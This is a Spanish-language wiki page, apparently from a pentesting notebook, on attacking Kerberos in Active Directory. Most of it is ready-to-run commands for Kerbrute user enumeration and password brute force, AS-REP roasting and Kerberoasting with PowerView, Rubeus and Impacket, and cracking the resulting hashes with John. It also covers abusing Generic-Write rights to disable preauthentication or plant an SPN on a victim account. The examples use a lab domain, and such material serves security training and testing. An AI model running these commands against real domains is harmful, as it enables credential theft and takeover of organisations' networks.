⚔️Hacking en Kerberos
En esta página se muestran las principales aplicaciones y técnicas de hacking en el protocolo Kerberos.
Kerbrute
Kerbrute es una herramienta de prueba de penetración de código abierto escrita en GO que se utiliza para realizar ataques de fuerza bruta contra el protocolo Kerberos en entornos de Active Directory. Kerbrute es capaz de probar miles de contraseñas en cuestión de minutos y puede ser una herramienta efectiva para identificar contraseñas débiles o vulnerabilidades en la configuración de Kerberos.
Instalar go:
sudo apt install golang
Cambiar ruta de archivos go:
sudo emacs .zshrc
#Al final del todo añadir:
export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source .zshrc
Instalación y uso
go install github.com/ropnop/kerbrute@latest
kerbrute -h
User Enumeration
./kerbrute userenum --dc <IP-Domain-Controller> -d <nombre_de_usuario>
Brute Users
kerbrute bruteuser -d corp.local passsword.txt empleado1
AS-REQ Roasting
Conseguir el timestamp en la primera petición de AS Request, o la session key cifrada
Interceptar login con WireShark
Petición AS-REQ
Copiar el hash y el salt del Request y la Respuesta
Unirlo con el formato de Hashcat Wiki: https://hashcat.net/wiki/doku.php?id=example_hashes
john hash.txt
Rubeus
Rubeus es una herramienta de prueba de penetración de código abierto para entornos de Active Directory que se utiliza para realizar ataques de Kerberos. Rubeus es similar a otras herramientas de ataque de Kerberos como Mimikatz, pero se enfoca en la extracción y manipulación de tickets de Kerberos.
Descargar .zip del repositorio: https://github.com/GhostPack/Rubeus
Instalar Visual Studio para compilarlo
Elegir Desarrollo de escritorio de .NET
Compilar Rubeus
SI no queremos compilar el binario podríamos usar mi repositorio de AD-Tools, en el que ya se incluyen multitud de binarios precompilados, incluído Rubeus:
AS-REP Roasting
AS-REP Roasting es una técnica de ataque de Kerberos que se utiliza para obtener contraseñas de usuario en entornos de Active Directory que permiten la autenticación sin cifrado.
Con Powerview:
Get-DomainUser -PreauthNotRequired
Con esto obtenemos todos los usuarios del dominio que tienen en el UAC el permiso de DONT_REQ_PREAUTH
Con solo enviar el nombre de esta persona nos devuelve el ticket granting ticket de esa persona
Con Rubeus:
.\Rubeus.exe asreproast /format:john /outfile:hash.john
En la carpeta Debug nos vuelca el hash en un formato para que john lo crackee
Si no encontramos usuarios que el permiso DONT_REQ_PREAUTH:
Puede tener la DACL de “Escribir todas las propiedades” en la parte de seguridad (Generic-Write)
Activar flag de DONT_REQ_PREAUTH con PowerView:
Set-DomainObject -Identity arlinda.kirstin -XOR @{useraccountcontrol=4194304} -Verbose
Desde Kali Linux:
Meter Kali en la red del DC en ajustes de red > IP
Snifar tráfico kerberos con Wireshark
kerbrute userenum -d corp.local users.txt
En WireShark ver la AS-REP, copiar el valor raw, llevar a Kali y crackear
Con Impacket en Kali:
impacket-GetNPUsers corp.local/ -users users.txt -format john -outputfile asrep.hash
Si sabemos el usuario y su contraseña:
impacket-GetNPUsers corp.local/empleado3:Passw0rd3 -format john -outputfile asrepimp.hash
Kerberoasting (TGS-REP Roasting)
Es la interacción con el Ticket Granting Service, para obtener tickets de servicio para los servicios creados por los usuarios para obtener y crackear su clave.

Ver servicios en una máquina:
Con Powerview:
Get-NetComputer -Identity WS03
Ver service principal name
Crear un usuario de Servicio en el DC:
MailSrvc (Por ejemplo para servicio de correo)
Asociar a este usuario un host por powershell:
setspn -S MailSrvc/MS01.corp.local MailSrvc
Identificar todos los usuarios del dominio que estén ofreciendo un servicio
Con PowerView:
Get-NetUser -SPN
Get-NetUser -SPN | select name, serviceprincipalname
Explotar Kerberoasting con Rubeus
. .\Rubeus.exe kerberoast
Copiar el hash y cracker offline con John
Explotar Kerberoasting con Impacket en Kali
Meter Kali en la red del DC en ajustes de red > IP
impacket-GetUserSPNs corp.local/empleado3:Passw0rd3 -request -outputfile tgsrep.hash
Forzar un DACL de Kerberoasting
Necesitamos un usuario con permisos Generic-Write y Generic-All, en este caso kyla.rey
En PowerView:
Set-DomainObject -Identity kyla.rey -Set @{serviceprincipalname='putoamo/tusiquevales'} -verbose
En las siguientes secciones veremos otras técnicas de Kerberoasting desde hosts Linux y Windows
Última actualización
¿Te fue útil?